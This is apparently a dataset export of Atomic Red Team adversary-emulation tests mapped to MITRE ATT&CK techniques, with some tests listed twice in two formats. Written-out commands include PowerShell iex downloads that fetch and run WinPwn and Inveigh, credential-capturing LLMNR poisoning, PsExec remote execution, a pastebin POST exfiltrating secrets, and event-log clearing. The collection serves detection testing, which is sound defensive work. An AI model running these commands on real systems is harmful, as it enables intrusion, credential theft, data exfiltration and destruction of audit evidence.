deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1518: Software Discovery
Test: Find and Display Safari Browser Version
Platforms: macos
Executor: sh

Description:
Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors


Command:
/usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist
/usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist
Atomic Red Team — T1518: Software Discovery
Test: WinPwn - Dotnetsearch
Platforms: windows
Executor: powershell

Description:
Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Dotnetsearch -noninteractive -consoleoutput
Atomic Red Team — T1518: Software Discovery
Test: WinPwn - DotNet
Platforms: windows
Executor: powershell

Description:
Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn.

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
dotnet -consoleoutput -noninteractive
Atomic Red Team — T1518: Software Discovery
Test: WinPwn - powerSQL
Platforms: windows
Executor: powershell

Description:
Start PowerUpSQL Checks using powerSQL function of WinPwn

Command:
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powerSQL -noninteractive -consoleoutput
Atomic Red Team — T1021.002: Remote Services: SMB/Windows Admin Shares
Test: Map admin share
Platforms: windows
Executor: command_prompt

Description:
Connecting To Remote Shares


Command:
cmd.exe /c "net use \\#{computer_name}\#{share_name} #{password} /u:#{user_name}"
Atomic Red Team — T1021.002: Remote Services: SMB/Windows Admin Shares
Test: Map Admin Share PowerShell
Platforms: windows
Executor: powershell

Description:
Map Admin share utilizing PowerShell


Command:
New-PSDrive -name #{map_name} -psprovider filesystem -root \\#{computer_name}\#{share_name}
Atomic Red Team — T1021.002: Remote Services: SMB/Windows Admin Shares
Test: Copy and Execute File with PsExec
Platforms: windows
Executor: command_prompt

Description:
Copies a file to a remote host and executes it using PsExec. Requires the download of PsExec from [https://docs.microsoft.com/en-us/sysinternals/downloads/psexec](https://docs.microsoft.com/en-us/sysinternals/downloads/psexec).


Command:
"#{psexec_exe}" #{remote_host} -accepteula -c #{command_path}


Dependencies:
PsExec tool from Sysinternals must exist on disk at specified location (#{psexec_exe})
Atomic Red Team — T1021.002: Remote Services: SMB/Windows Admin Shares
Test: Execute command writing output to local Admin Share
Platforms: windows
Executor: command_prompt

Description:
Executes a command, writing the output to a local Admin Share.
This technique is used by post-exploitation frameworks.


Command:
cmd.exe /Q /c #{command_to_execute} 1> \\127.0.0.1\ADMIN$\#{output_file} 2>&1
Atomic Red Team — T1557.001: Adversary-in-the-Middle: LLMNR/NBT-NS Poisoning and SMB Relay
Test: LLMNR Poisoning with Inveigh (PowerShell)
Platforms: windows
Executor: powershell

Description:
Inveigh conducts spoofing attacks and hash/credential captures through both packet sniffing and protocol specific listeners/sockets. This Atomic will run continuously until you cancel it or it times out.

Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/Kevin-Robertson/Inveigh/82be2377ade47a4e325217b4144878a59595e750/Inveigh.ps1" -UseBasicParsing)
Invoke-Inveigh -ConsoleOutput Y -NBNS Y -MDNS Y -HTTPS Y -PROXY Y
# T1053.007 - Kubernetes Cronjob

## Description from ATT&CK

> Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.
> 
> In Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)

[Source](https://attack.mitre.org/techniques/T1053/007)

## Atomic Tests

- [Atomic Test #1: ListCronjobs](#atomic-test-1-listcronjobs)
- [Atomic Test #2: CreateCronjob](#atomic-test-2-createcronjob)

### Atomic Test #1: ListCronjobs

Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

**Supported Platforms:** Containers

**auto_generated_guid:** `ddfb0bc1-3c3f-47e9-a298-550ecfefacbd`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| namespace | K8s namespace to list | string | default|

#### Attack Commands: Run with `bash`!

```bash
kubectl get cronjobs -n #{namespace}
```


#### Dependencies: Run with `bash`!

##### Description: kubectl must be installed

###### Check Prereq Commands

```bash
which kubectl
```

###### Get Prereq Commands

```bash
echo "kubectl must be installed manually"
```

### Atomic Test #2: CreateCronjob

Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.

**Supported Platforms:** Containers

**auto_generated_guid:** `f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| namespace | K8s namespace to list | string | default|

#### Attack Commands: Run with `bash`!

```bash
kubectl create -f src/cronjob.yaml -n #{namespace}
```

#### Cleanup Commands

```bash
kubectl delete cronjob art -n #{namespace}
```

#### Dependencies: Run with `bash`!

##### Description: kubectl must be installed

###### Check Prereq Commands

```bash
which kubectl
```

###### Get Prereq Commands

```bash
echo "kubectl must be installed manually"
```
Atomic Red Team — T1053.007: Kubernetes Cronjob
Test: ListCronjobs
Platforms: containers
Executor: bash

Description:
Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.


Command:
kubectl get cronjobs -n #{namespace}


Dependencies:
kubectl must be installed
Atomic Red Team — T1053.007: Kubernetes Cronjob
Test: CreateCronjob
Platforms: containers
Executor: bash

Description:
Kubernetes Job is a controller that creates one or more pods and ensures that a specified number of them successfully terminate. Kubernetes Job can be used to run containers that perform finite tasks for batch jobs. Kubernetes CronJob is used to schedule Jobs. Attackers may use Kubernetes CronJob for scheduling execution of malicious code that would run as a container in the cluster.


Command:
kubectl create -f src/cronjob.yaml -n #{namespace}


Cleanup:
kubectl delete cronjob art -n #{namespace}


Dependencies:
kubectl must be installed
Atomic Red Team — T1595.003: Active Scanning: Wordlist Scanning
Test: Web Server Wordlist Scan
Platforms: windows, linux, macos
Executor: powershell

Description:
This test will scan a target system with a wordlist of common directories and file paths.


Command:
Import-Module "PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1"
Invoke-WordlistScan -Target "#{target}" -Wordlist "#{wordlist}" -Timeout "#{request_timeout}" -OutputFile "#{output_file}"
Write-Host "Scan complete. Results saved to: #{output_file}"
# T1595.003 - Active Scanning: Wordlist Scanning

## Description from ATT&CK

> Adversaries may iteratively probe infrastructure using brute-forcing and crawling techniques. While this technique employs similar methods to [Brute Force](https://attack.mitre.org/techniques/T1110), its goal is the identification of content and infrastructure rather than the discovery of valid credentials. Wordlists used in these scans may contain generic, commonly used names and file extensions or terms specific to a particular software. Adversaries may also create custom, target-specific wordlists using data gathered from other Reconnaissance techniques (ex: [Gather Victim Org Information](https://attack.mitre.org/techniques/T1591), or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).
> 
> For example, adversaries may use web content discovery tools such as Dirb, DirBuster, and GoBuster and generic or custom wordlists to enumerate a website’s pages and directories.(Citation: ClearSky Lebanese Cedar Jan 2021) This can help them to discover old, vulnerable pages or hidden administrative portals that could become the target of further operations (ex: [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190) or [Brute Force](https://attack.mitre.org/techniques/T1110)).
> 
> As cloud storage solutions typically use globally unique names, adversaries may also use target-specific wordlists and tools such as s3recon and GCPBucketBrute to enumerate public and private buckets on cloud infrastructure.(Citation: S3Recon GitHub)(Citation: GCPBucketBrute) Once storage objects are discovered, adversaries may leverage [Data from Cloud Storage](https://attack.mitre.org/techniques/T1530) to access valuable information that can be exfiltrated or used to escalate privileges and move laterally.

[Source](https://attack.mitre.org/techniques/T1595/003)

## Atomic Tests

- [Atomic Test #1: Web Server Wordlist Scan](#atomic-test-1-web-server-wordlist-scan)

### Atomic Test #1: Web Server Wordlist Scan

This test will scan a target system with a wordlist of common directories and file paths.

**Supported Platforms:** Windows, Linux, macOS

**auto_generated_guid:** `89a83c3e-0b39-4c80-99f5-c2aa084098bd`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| target | The target system to scan | string | http://localhost|
| wordlist | The wordlist to use for scanning | path | PathToAtomicsFolder/T1595.003/src/wordlist.txt|
| request_timeout | The timeout for each request (in seconds) | integer | 5|
| output_file | File to output results to | string | $env:TMPDIR/wordlist_scan.txt|

#### Attack Commands: Run with `powershell`!

```powershell
Import-Module "PathToAtomicsFolder/T1595.003/src/WebServerScan.ps1"
Invoke-WordlistScan -Target "#{target}" -Wordlist "#{wordlist}" -Timeout "#{request_timeout}" -OutputFile "#{output_file}"
Write-Host "Scan complete. Results saved to: #{output_file}"
```
Atomic Red Team — T1568.002: Dynamic Resolution: Domain Generation Algorithms
Test: DGA Simulation (Python)
Platforms: linux
Executor: bash

Description:
Simulates Domain Generation Algorithm (DGA) traffic by generating pseudo-random domains based on the current date and querying them using dig. 
This is designed to trigger DNS analytics and NGIDS.


Command:
python3 "#{python_script_path}"


Dependencies:
#{python_script_path} must exist on system.

Python 3 must be installed to run the script.
# T1568.002 - Dynamic Resolution: Domain Generation Algorithms

## Description from ATT&CK

> Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)
> 
> DGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)
> 
> Adversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)

[Source](https://attack.mitre.org/techniques/T1568/002)

## Atomic Tests

- [Atomic Test #1: DGA Simulation (Python)](#atomic-test-1-dga-simulation-python)

### Atomic Test #1: DGA Simulation (Python)

Simulates Domain Generation Algorithm (DGA) traffic by generating pseudo-random domains based on the current date and querying them using dig. 
This is designed to trigger DNS analytics and NGIDS.

**Supported Platforms:** Linux

**auto_generated_guid:** `cc367493-3a00-4c4a-a685-16b73339167c`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| python_script_path | Full path to the DGA python script | string | PathToAtomicsFolder/T1568.002/src/T1568.002.py|

#### Attack Commands: Run with `bash`!

```bash
python3 "#{python_script_path}"
```


#### Dependencies: Run with `bash`!

##### Description: #{python_script_path} must exist on system.

###### Check Prereq Commands

```bash
if [ -f "#{python_script_path}" ]; then exit 0; else exit 1; fi
```

###### Get Prereq Commands

```bash
mkdir -p "$(dirname "#{python_script_path}")"
curl -sL "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1568.002/src/T1568.002.py" -o "#{python_script_path}"
```

##### Description: Python 3 must be installed to run the script.

###### Check Prereq Commands

```bash
which python3
```

###### Get Prereq Commands

```bash
sudo apt-get update && sudo apt-get install -y python3
```
# T1546.007 - Event Triggered Execution: Netsh Helper DLL

## Description from ATT&CK

> Adversaries may establish persistence by executing malicious content triggered by Netsh Helper DLLs. Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system. It contains functionality to add helper DLLs for extending functionality of the utility.(Citation: TechNet Netsh) The paths to registered netsh.exe helper DLLs are entered into the Windows Registry at <code>HKLM\SOFTWARE\Microsoft\Netsh</code>.
> 
> Adversaries can use netsh.exe helper DLLs to trigger execution of arbitrary code in a persistent manner. This execution would take place anytime netsh.exe is executed, which could happen automatically, with another persistence technique, or if other software (ex: VPN) is present on the system that executes netsh.exe as part of its normal functionality.(Citation: Github Netsh Helper CS Beacon)(Citation: Demaske Netsh Persistence)

[Source](https://attack.mitre.org/techniques/T1546/007)

## Atomic Tests

- [Atomic Test #1: Netsh Helper DLL Registration](#atomic-test-1-netsh-helper-dll-registration)

### Atomic Test #1: Netsh Helper DLL Registration

You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)

**Supported Platforms:** Windows

**auto_generated_guid:** `3244697d-5a3a-4dfc-941c-550f69f91a4d`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| helper_file | Path to DLL | path | PathToAtomicsFolder&#92;T1546.007&#92;bin&#92;NetshHelper.dll|

#### Attack Commands: Run with `command_prompt`! Elevation Required (e.g. root or admin)

```cmd
netsh.exe add helper "#{helper_file}"
taskkill /im notepad.exe /t /f > NUL 2>&1
```

#### Cleanup Commands

```cmd
netsh.exe delete helper "#{helper_file}"
```

#### Dependencies: Run with `powershell`!

##### Description: Helper DLL must exist on disk at specified location (#{helper_file})

###### Check Prereq Commands

```powershell
if (Test-Path "#{helper_file}") { exit 0} else { exit 1}
```

###### Get Prereq Commands

```powershell
New-Item -Type Directory (split-path "#{helper_file}") -ErrorAction ignore | Out-Null
Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.007/bin/NetshHelper.dll" -OutFile "#{helper_file}"
```
Atomic Red Team — T1546.007: Event Triggered Execution: Netsh Helper DLL
Test: Netsh Helper DLL Registration
Platforms: windows
Executor: command_prompt

Description:
You can register a "helper dll" with Netsh as a persistance mechanism. The code in the dll is executed every time netsh.exe is called.
The NetshHelper.dll provided with the atomic will simply launch notepad when netsh.exe is run.

[Blog](https://htmlpreview.github.io/?https://github.com/MatthewDemaske/blogbackup/blob/master/netshell.html)
[Sample DLL code](https://github.com/outflanknl/NetshHelperBeacon)


Command:
netsh.exe add helper "#{helper_file}"
taskkill /im notepad.exe /t /f > NUL 2>&1


Cleanup:
netsh.exe delete helper "#{helper_file}"


Dependencies:
Helper DLL must exist on disk at specified location (#{helper_file})
Atomic Red Team — T1567.003: Exfiltration Over Web Service: Exfiltration to Text Storage Sites
Test: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)
Platforms: windows
Executor: powershell

Description:
This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin)                             
See https://web.archive.org/web/[PII_REDACTED]3304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it                


Command:
$apiKey = "#{api_key}"
$content = "secrets, api keys, passwords..."
$url = "https://pastebin.com/api/api_post.php"
$postData = @{
  api_dev_key   = $apiKey
  api_option    = "paste"
  api_paste_code = $content
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
Write-Host "Your paste URL: $response"
# T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites

## Description from ATT&CK

> Adversaries may exfiltrate data to text storage sites instead of their primary command and control channel. Text storage sites, such as <code>pastebin[.]com</code>, are commonly used by developers to share code and other information.
> 
> Text storage sites are often used to host malicious code for C2 communication (e.g., [Stage Capabilities](https://attack.mitre.org/techniques/T1608)), but adversaries may also use these sites to exfiltrate collected data. Furthermore, paid features and encryption options may allow adversaries to conceal and store data more securely.(Citation: Pastebin EchoSec)
> 
> **Note:** This is distinct from [Exfiltration to Code Repository](https://attack.mitre.org/techniques/T1567/001), which highlight access to code repositories via APIs.

[Source](https://attack.mitre.org/techniques/T1567/003)

## Atomic Tests

- [Atomic Test #1: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)](#atomic-test-1-exfiltrate-data-with-http-post-to-text-storage-sites---pastebincom-windows)

### Atomic Test #1: Exfiltrate data with HTTP POST to text storage sites - pastebin.com (Windows)

This test uses HTTP POST to exfiltrate data to a remote text storage site. (pastebin)                             
See https://web.archive.org/web/[PII_REDACTED]3304/https://www.echosec.net/blog/what-is-pastebin-and-why-do-hackers-love-it

**Supported Platforms:** Windows

**auto_generated_guid:** `c2e8ab6e-431e-460a-a2aa-3bc6a32022e3`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| api_key | Pastebin API key | string | 6nxrBm7UIJuaEuPOkH5Z8I7SvCLN3OP0|

#### Attack Commands: Run with `powershell`!

```powershell
$apiKey = "#{api_key}"
$content = "secrets, api keys, passwords..."
$url = "https://pastebin.com/api/api_post.php"
$postData = @{
  api_dev_key   = $apiKey
  api_option    = "paste"
  api_paste_code = $content
}
$response = Invoke-RestMethod -Uri $url -Method Post -Body $postData
Write-Host "Your paste URL: $response"
```
Atomic Red Team — T1564.003: Hide Artifacts: Hidden Window
Test: Hidden Window
Platforms: windows
Executor: powershell

Description:
Launch PowerShell with the "-WindowStyle Hidden" argument to conceal PowerShell windows by setting the WindowStyle parameter to hidden.
Upon execution a hidden PowerShell window will launch calc.exe


Command:
Start-Process #{powershell_command}
Atomic Red Team — T1564.003: Hide Artifacts: Hidden Window
Test: Headless Browser Accessing Mockbin
Platforms: windows
Executor: command_prompt

Description:
The following Atomic Red Team test leverages the Chrome headless browser to access a mockbin site. Create your own Mockbin.org site and replace the BIN in the inputs.
The default Mockbin ID forwards to google.com and you may view the details here https://mockbin.org/bin/f6b9a876-a826-4ac0-83b8-639d6ad516ec/view.
Reference: https://cert.gov.ua/article/5702579


Command:
start "" #{browser} --headless --disable-gpu https://mockbin.org/bin/#{bin_id}


Cleanup:
taskkill /im #{browser} /f
Atomic Red Team — T1564.003: Hide Artifacts: Hidden Window
Test: Hidden Window-Conhost Execution
Platforms: windows
Executor: powershell

Description:
Launch conhost.exe in "headless" mode, it means that no visible window will pop up on the victim's machine. 
This could be a sign of "conhost" usage as a LOLBIN or potential process injection activity.
conhost.exe can be used as proxy the execution of arbitrary commands


Command:
conhost.exe --headless calc.exe


Cleanup:
Stop-Process -Name calc*
Atomic Red Team — T1685.005: Disable or Modify Tools: Clear Windows Event Logs
Test: Clear Logs
Platforms: windows
Executor: command_prompt

Description:
Upon execution this test will clear Windows Event Logs. Open the System.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty.


Command:
wevtutil cl #{log_name}
Atomic Red Team — T1685.005: Disable or Modify Tools: Clear Windows Event Logs
Test: Delete System Logs Using Clear-EventLog
Platforms: windows
Executor: powershell

Description:
Clear event logs using built-in PowerShell commands.
Upon successful execution, you should see the list of deleted event logs
Upon execution, open the Security.evtx logs at C:\Windows\System32\winevt\Logs and verify that it is now empty or has very few logs in it.


Command:
$logs = Get-EventLog -List | ForEach-Object {$_.Log}
$logs | ForEach-Object {Clear-EventLog -LogName $_ }
Get-EventLog -list